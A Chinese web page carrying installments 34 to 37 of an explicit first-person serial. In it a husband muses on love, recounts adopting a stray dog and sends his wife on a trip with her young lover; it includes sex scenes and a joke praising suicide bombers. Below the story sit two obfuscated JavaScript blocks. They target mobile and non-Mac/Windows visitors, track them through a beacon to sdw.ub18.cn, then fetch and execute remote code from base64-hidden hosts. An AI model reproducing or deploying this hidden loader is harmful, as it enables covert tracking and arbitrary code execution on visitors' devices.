有人说:“白天属于生活,夜晚属于生命”,这话说的很有道理,阳光下,我们不得不像上满发条的秒针,疲于对生活的奔波,疲于对自己的或出于无奈或出于本能的伪装;那么,当夜色来临,人们更多会陷入对生命本真的思考。如果把生活形容成一场旷日持久的、永远不会停息的搏斗,那么,白天我们与他人斗,而夜晚,我们与自己斗。我经常会纠缠于一些莫名其妙的情绪当中,琢磨一些或许毫无意义的问题,比如,我究竟是谁,我究竟想要什么,现在得到的是不是我想要的,等等。白天的时候,面对那些繁杂无序的工作,面对同事或者陌生人,我经常表现得过份的理性有时甚至于近乎冷酷,可是到深夜,每当怀里抱着软体动物一样的妻子,又感觉整个人仿佛都溶化掉了。

我能理解当年周幽王为什么会那样过份的纵容褒姒,我可以肯定的说,如果我是皇帝,我会是一个比周幽王还混帐的皇帝。我更能理解不爱江山爱美人的温沙公爵,换了我也会那样,如果不能和自己心爱的人在一起,那个冷冰冰的皇位又有什么意义。很多时候,是非观念在我眼里,与常态偏离甚远,好多不擅于治理国家的昏君在我眼里都是标准的好男人,比如宋徽宗,比如李煜。我常想,治理不好国家不是他们的错,错在把他们放错了位置。否则,赵诘很可能成为另一位胜过唐伯虎的风流才子,而李煜,完全可以悠闲的与小周后泛舟西子湖,何苦“最是仓皇辞庙日,教坊犹奏离别歌”。

人与动物的最大不同之处是,人懂得深度的思考,但是,我不知道对于婚姻或家庭来说,这些深度的思考是好事还是坏事。思考下的人们,懂着对婚姻进行经营,而经营是刻意之下的行为。反过来我们再想一想某些动物,我们会对它们好多出自于本能下的行为而深深感动。比如天鹅和丹顶鹤吧,这是两种非常奇怪的动物,它们竟然能在本能的支配之下对配偶从一而终,当一方夭折,另一方会孤独至终老,——人却很难做到这一点。

有一次,我和妻子一起看电视,不经意间被一个普通得不能再普通的节目弄得差点抱头痛哭:新闻节目里讲述一个动物的故事,一只白色的家鸭被主人偷偷抱到动物园里抛弃了,这只家鸭在公园的河里幸运的与一只野鸭结识并相爱。好奇的公园工作人员偷偷地录了好多两只鸭子快乐嬉戏的场景。但是,随着天气的转冷,悲剧发生了:野鸭们都向南方迁徙,这只家鸭的恋人也不例外。野鸭不断地飞向天空,又一次次的被自己恋人的哀鸣唤回。天气越来越冷了,两只鸭子就这样绝望的在一起坚持着,野鸭仍旧一次次做着飞走的努力,它每次飞上天空,都会围着地上的家鸭盘旋鸣叫,试图招唤自己的恋人也一起飞起来,可怜的家鸭只能徒劳的拍着已经退化的翅膀,看着天空中的伴侣,绝望的在地上跑着,不忍离去的野鸭只能一再地落回地面。河水结冰了,如果野鸭再不走,它将面临死亡,于是,野鸭终于无奈地飞走了。从此,那只家鸭每天对着爱侣飞走的方面哀鸣。 这些场景,都被工作人员用DV记录了下来。这个节目,让妻子哭得泪雨滂沱,并打算给电视台或公园打电话,收养那只可怜的家鸭,但由于那是很遥远的外地,所以最终放弃了(我记得这事儿好像发生在南京)。后来的几天里,妻子多次傻傻地问我:“老公,你不会像那只野鸭一样飞走吧。”

我逗她:“顶放心吧,我不会飞,顶多坐火车。”

听了这话,妻子一边用小拳头打我,一边抱住我说:“那你最少要买三张票,带上我和女儿。”

11月4 日那天,一位名叫davidhan的朋友跟帖描述他清早面对船下的流水,

思念自己那个因车祸而离自己远去的爱妻。说实话,面对那段虽然很短却充满深情哀伤到极点的文字,我哭了。因为我非常真切的感受到了他的镇痛和绝望。有些离别已成为永远,在此真诚地祝愿这位朋友能早日从悲痛的情绪中从出,我确信,你那个天堂中的宝贝儿不希望你不快乐,不希望你不幸福,她在那里注视着你,你现在的样子会让她很担心。对于这个物质上的世界来说,我们每一个人都仅仅是过客。百年之后的日子,才是我们的永恒。一切的分别都只是暂时的,你俩终归能在永恒中重逢,到那时,你再给她补偿。

(三十四)

转眼到了七月初,小C 离校的日子越来越近了,妻子仿佛已经忘掉了去峨眉山的事情,没有再提起,但我的焦虑却越来越严重。

一天晚上,妻子给一只小狗洗澡。——提到这只小狗,还有一段故事。

下面我用一个章节说说与这只小狗有关的故事:

这只小狗原本并不是我们家的,它只是一条很普通小宠物狗。不知道属于什么品种,外形像京巴,但毛色却灰突突的,给人一种不干净的感觉。几年前的一天,我和妻子坐在小区花园里聊天,这只小狗在不远处闲逛,妻子叫了它一声,它摇着尾巴跑了过来。妻子一边摸着小狗的脑袋,一边对我说:“亲爱的,你看它的眼睛多清澈啊。”

我一把将妻子的手拉开,对她说:“你知道它有没有病啊,肮兮兮的,乱摸什么。”

妻子说:“那咱们带回家给它洗洗吧。”

我说:“不许胡闹,恶心死了。”

妻子不听我的:“我不,偏要洗,你管不着。”

说完,妻子抱起小狗往家走,我急忙跟在后面说:“你快点放下,万一主人看见还以为咱俩偷狗呢。”

妻子说:“如果有主人能让它肮成这样嘛,我不管,看见就看见。”

就这样,回到家里,妻子把这只狗塞到了水盆里,洗过以后,用电吹风把毛吹干,我和妻子才发现:原来狗身上并不是很肮,它的毛本来就是那个颜色。 洗完澡以后,小狗狗兴奋地围着妻子打转,妻子从冰箱里捣腾出火腿肠和薯条之类的东西喂它,并给它起了一个令人呕吐的名字:刘富贵。看着妻子和小狗唠唠叨叨的样子,我想起了女儿小时候,那时妻子经常这样对着尚且听不懂话的女儿说些不着边际的废话。晚上临睡前,我对妻子说:“你快点把狗放出去吧。” 妻子说:“不行,以后刘富贵就是咱们家的了。”

我说:“你快停吧你,瞧你给它起的那名,跟村长似的。想养狗自己去买一条,偷别人家的狗算什么事儿。”

妻子想了想,说:“那让它在家里住一夜,明天再让它走好不好?”

得到我的同意以后,妻子去阳台找出一个纸箱放进去一个沙发靠垫,为狗做了一个窝。不过,小狗并不领情,妻子把它放进去一次,它跳出来一次,如此折腾几次之后,妻子放弃了努力。

晚上,我和妻子正在床上激情缠绵,小狗却在卧室的门外开始捣乱了,呜呜叫着扒卧室的门。超初我俩没有理会,换了新环境小狗不习惯也正常,但不久,客厅里突然传出“砰——!”的一声巨响,我一下子吓软了。急忙跳下床跑到客厅,眼前的情景差点气死我:茶几翻倒在地上,水杯碎了,把茶几上放着的书全弄湿了。而那只知道自己惹了祸的小狗蜷缩在沙发空里,惊恐地看着我。我气愤地冲过去,抓起那只讨厌的小狗,打开房门扔了出去。小狗惨叫着逃了。我关上房门回过身来,吓了一跳:妻子一脸愤怒地看着我:“你打它干嘛?”

我说:“祖宗,我啥时候打它了?都把家祸害成这样了,还不让我把它扔出去啊?”

妻子说:“那你开门让它走就行了,为什么还要摔它?摔你一下你能受得了啊?”

我仍然余怒未消,没理妻子,独自回到床上,妻子跟了进来,躺在床上背朝着我示威。此时我什么心情都没有了,只剩下对那条讨厌的狗的无比愤恨。 后来,每次妻子独自遇到那只小狗的时候,那只小狗仍然对她亲热到了极点,而如果遇到我俩在一起,小狗肯定转身而逃。妻子还会时不时的把那只小狗带回家里给它洗澡。有时,我也会偶尔摸摸它,但我这种亲昵的动作,却让小狗一脸惊恐,弄得我也兴趣索然。时间久了,小狗虽然不再像起初那样怕我,但仍对我不冷不热。“刘富贵”

这个名字它已经欣然接受,那个小狗窝它也接受了,有时妻子会留它在那里小住一夜,它表现的也很乖。每次带它回家,无论它在哪个角落里玩儿,只要妻子叫一声“刘富贵”,它马上晃着尾巴跑过来,我却混得很惨,比如,它正在离我不远处趴着,我叫一声“刘富贵”,它向我翻翻白眼,再叫一声,它仍然一动不动,顶多快速的摇两下尾巴,从摇尾巴的速度上都能看出它的不耐烦。我因此经常忍受妻子的嘲笑。

我与刘富贵关系的彻底改变,缘于妻子的一次远行。有一年妻子去连云港疗养,时间为半个月。说是疗养,其实就是单位组织的公费旅游。妻子走后,我把女儿接回了家里,当时女儿还没有上学。女儿在家只住了两天弄得我苦不堪言,每天早上要起大早为女儿准备早餐,然后送她去幼儿园,晚上还要准时接回来,在家里,女儿不断地变换着花样纠缠我,一会让讲故事,一会让陪她玩过家家,整晚我什么都干不成。无奈之下,我只得把这个小坏蛋又送回了她爷爷奶奶家。 独自一人在家,心里突然落寞到了极点,四处捕捉着妻子的气息。这时,已经是妻子暗中出墙以后了,自从我俩的关系彻底发生了转变,我对妻子的依赖程度也越来越深。妻子临行之前,我并没有想到这些。而妻子在连云港玩的也并不开心,每天多次打电话抱怨,没有我在,和她那些同事在一起根本就没意思。 一天黄昏,我在外面胡乱吃了晚饭,回到小区,独自坐在花园的椅子上发呆,发现刘富贵在不远处趴着,一瞬间,我突然对它产生一种很深的亲切感,我慢慢地走过去(怕它逃掉),蹲在刘富贵身边,轻轻抚摸着它,说:“刘富贵,我好想你的好朋友,你想她吗?”

刘富贵觉查到了我的善意,温柔地摇着尾巴。我抱起它,回到了家里。烧水给刘富贵洗澡,然后用电热风吹干。接下来,我坐在沙发上看书,刘富贵就乖乖的趴在我脚下,时不时看我两眼。我打电话给妻子:“宝贝儿,你放心在外面玩吧,现在有人陪我了。”

妻子吓了一跳:“你别胡来,小心染上病。”

我说:“你放心,我俩的关系非常纯洁。”

妻子说:“别骗我了,我才不信你会把别的女人带回家里呢。”

我说:“谁说是女人了?我说的是刘富贵。”

妻子在电话里终于开心地笑了。

从此,刘富贵在我家的时间越来越长,很少在外面过夜。我至今仍然不知道它的主人是谁,或许,我和妻子就是它真正的主人吧。

现在,妻子正在给刘富贵洗澡。我却一人独自发着呆,想着接下来的事情该怎样处理。

(三十五)

过了一会儿,妻子为刘富贵洗完了澡,打开门放刘富贵自己出去撒欢儿去了(这个季节,估计狗也在恋爱,经常整夜不回家)。我半躺在沙发上,看着妻子穿着我的大衬衫在屋里走来走去,我叫她:“宝贝儿,过来陪我说会儿话。” 妻子很听话的过来,搂着我的脖子问:“老东西,是不是又想给我上课?” 我坐直了身子,对她说:“乖,不胡闹,我和你说正经事。”

妻子点了点头:“嗯,你说吧。”

看着她由衬衫领口露出的光滑肌肤,我知道里衬衫面是赤裸的,这让我隐隐产生了原始的冲动。——当家里只我我俩的时候,妻子经常会拿我的棉衬衫当睡衣穿。我不知道你们有没有注意过欧美电影的一个情节:女人们经常在家里穿着丈夫的大衬衫,看起来性感到了极点。妻子也一直有这个爱好,经常洗过澡之后,直接把我的某件棉衬衣随意的套在身上。

我站起身来,把妻子横抱在怀里,走向卧室,妻子在我怀里夸张的小声喊:“救命啊,有流氓……”

把妻子放在床上,我也快速脱了衣服,躺在床上把她轻轻揽在怀里,妻子一边吻我,一边把手向我的下面伸去。我用手抚摸着她的耳朵,说:“宝宝,先别忙着淘气,和你说点严肃的事情。”

妻子很听话的停上了动作,看着我。我说:“宝宝,我想了好多天了,你去峨眉山吧。”

妻子一下子警惕起来,说:“不去了、不去了,我舍不得把你自己扔在家里……除非你也一起去。”

我说:“我说的是真心话,这些天我一直在琢磨这事儿,让你去,我难受;不让你去,我更难受,两害相权取其轻,你还是去吧。”

妻子用手捂住了我的嘴,说:“老公,快别这么说,我真的不去了,我知道你这些天一直在想这件事情,但我却没办法主动跟你解释,是我不好,我不该提这种无理要求。”

我说:“不行,你还是去吧,这回是我要求你去,你就不用自责了,我要求你去和我答应你去,这是两个概念。”

妻子说:“可是我真的不想去了。”

我亲了她一下,说:“也行,如果你发自内心的不想去了,随你。我只是不想让你遗憾,而且,这个机会也实在是难得,以后,小C 终究要结婚,你以为你俩能永远这样胡闹下去啊。”

沉默了一会,妻子说:“你就不怕我把对你的爱分给他太多了吗?”

我说:“傻丫头,你现在跟我说说,你的爱具体有多少?我告诉你,爱是需要不断开发的,就象人的大脑,开发后的潜能是无限的,人脑如果总不使用,会越来越笨,爱也一样,如果开发好了,潜能也是无限的。”

妻子没接茬,把软软的嘴唇贴了上来……

当热情渐渐平息,妻子搂着我问:“老爸,你为什么对我这样好?”

我说:“不清楚,我好像彻底毁在你手里了,面对你的时候,我就像是个狂热的宗教分子,你能理解为什么很多巴勒期坦父母会鼓励自己的孩子去当人体炸弹吗?。”

妻子不讲理地说:“能理解,我现在就是人体炸弹。”

我轻轻打了一下这个小坏蛋,说:“算你聪明,我现在先给你洗脑,说不定哪一就会让你替我冲锋陷阵不惜献出生命。”

话音刚落,妻子一把掐住我的小弟弟,故意用恶狠狠的口气说:“我—要—阉—了—你!”

我说:“嘁,如果你舍得,随你便。”

妻子用小手握着我的小弟弟,轻柔的捏着,说:“那,下辈子我做男人,你给我当老婆,让我疼你。”

我说:“行,算你狠,果然没白在银行工作一回,一杆子支到3000年去了。” 妻子说:“我只是说这个意思嘛。”

决心下了,话也说出去了,我的心里变得轻松了。

(三十六)

第二天早上临上班之前,我交待妻子,让他联系小C 一下,问清他具体离校时间,难后算好日期两人在成都会合。妻子犹犹豫豫地对我说:“要不,这事儿算了吧,是不是有点太离谱了?”

我半开玩笑的说:“你不用多想了,没什么离谱的,很多着名军事家都不按既有的套路出牌,咱们也这样,你就听我的安排吧。”

上午在单位,妻子打电话告诉我,小C 到达成都的日期为五天以后,放下电话,我在网上为妻子订好了五天以后去成都的机票。

接下来的几天里,妻子起初经常揣揣不安,时不时这样对我说:“老爸,我不想去了。”

我决然地说:“乖,你放心,既然决定了就往前走了,开弓没有回头箭。反正也没几天,一周就回来了,和出一次差的时间差不多,你只管放心玩,全当你替咱俩去重圆过去的梦想了。”

随着行程的临近,妻子时而焦虑,时而兴奋。我一面安慰她,一面帮她收拾外出旅游用的必需品:洗漱用具、小药品、换洗的衣服、DV,还有那双去年在张家界买的鞋子,等等。妻子跟在我身后转来转去,看着我替她准备这些东西。妻子不安地问我:“老公,我不在家你怎么办?”

我说:“我想回父母家住几天,正好可以陪陪女儿,最近小东西已经多次向我提出抗议了。”

出发那天,我把妻子送到了机场,登机前,妻子一直紧紧抱着我。我逗她说:“干嘛呀这是,你又不是去火星。”

妻子说:“老公,说真心话,我现在十分后悔,突然觉得这样很没意思,没有你在,一切好像没什么意义了,我怎么感觉好像是去应付一个无奈的应酬呢。” 我说:“你如果这样想,我才真正的担心呢,别忘了我的本意,你要完全放松自己,开开心心的去玩,什么都别想,所有话等回来再说。”

妻子趴在我的肩上,柔柔地说了一声:“谢谢你……”

站在候机大厅里,看着波音747 载着妻子腾空而起,我的眼睛有点模煳。独自一人在候机楼的椅子上坐了一会儿,脑子里很乱。虽然我一直当着妻子的面说我不会按传统规则出牌,但随着妻子真的离开,我对于这副牌局的输赢却突然间失去了把握,对与错的纠缠又开始困扰我。

从机场回到单位,坐在办公室里发了一会呆,开始忙工作上的事情,暂时忘掉了这些。下午,妻子从成都打来了电话,告诉我她已平安到达双流机场,并见到了早已等候在那里的小C.我再一次嘱咐她,既然去了,就开心地玩,家里的一切都不用牵挂。妻子在电话那边很听话的答应着。

晚上,我回到了父母家,听说我要在家里住几天,父母都非常高兴。吃过晚饭以后,女儿写作业,我陪在旁边随意的翻着女儿的作业本和她的课本。这时,妻子再一次打来电话,告诉我他们已经在酒店住下了,明早坐高快去乐山,只需两个小时。我再一次简单的交待了一下旅游时的注意事项,包括不要把手放口袋里,以免猴子上来抢东西。然后把电话交给了女儿,女儿喋喋一不休地和她妈妈讲了半个多小时不肯挂断。我对女儿说:“乖,听话,妈妈出差很累,让她早点休息吧。”

听我这么说,她才极不情愿地和妈妈说了再见。

当晚,妻子给我发了好多短信,我知道她此刻真的很思念我。

(三十七)

接下来的两天,一切正常,妻子经常发信息或者打电话通告我她的位置,从妻子在电话里的声音可以判断出,她很快乐,并一边傻笑一边给我讲她被猴子抢劫的过程,她说:“老公,你说我多没记性吧,你多次提醒我说在峨眉山不要把手放兜里,可上山的时候我还是忘了,把手插进了裤子口袋里,结果被猴子抢了,幸亏只是一包纸巾。”

妻子走后的第三天深夜,我的手机突然响了,从睡梦中惊醒的我气愤的拿过电话,一看来电显示,是妻子的,我马上心里一惊,精神了。我接起电话急切地问:“怎么了宝贝儿?”

妻子说:“没什么,就是想你。”

我问:“他呢?”

妻子说:“早就睡了。”

我这才放下了突然悬起的心,说:“别淘气,这都几点啦,快睡吧,乖。” 妻子说:“不嘛,你陪我说会儿话。”

我心里一软,说:“好吧亲爱的,我陪你。”

妻子说:“前两天玩的还可以,现在我只想回家,我快想死你了。”

我说:“没事儿的,可能就是太累的缘故,好好睡一觉明天就好了。”

没想到妻子在那边却小声哭了,说:“老公,我真的好后悔不该独自出来,我现在只想回家。”

我说:“家里一切都好,我也蛮好的,你别惦记了,听话,如果你实在想回来就回来吧。”

妻子说:“我不是惦记你,就是突然非常想家。”

第二天临近中午,妻子发信息给我:“老公,我们正在去机场,晚上到家。” 我回复问道:“小C 呢?他也回家?”

妻子复:“他要跟我一起回咱们家,因为我把真相告诉他了。”

这突如其来的结果把我弄得一惊,心想,妻子发此信息的时候很可能小C 就在旁边看着呢,所以我没再回复。不一会,小C 给我手机里发了一条信息,内容是:“哥,你不会怪我吧?我是不是太对不起你了?”

我想,既然妻子已告诉他真相,我就没有必要再隐瞒了。于是我回复说:“傻小子,为什么要怪你,感谢你还来不及,路上小心,照顾好你姐,晚上我去机场接你们。”

小C 说:“哥,我心里一直在狂跳,有点不敢见你。”

我回复:“兄弟,只要你不怪我就行了,不


上一篇:国中理化课(25)

下一篇:灵欲教师(20)


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};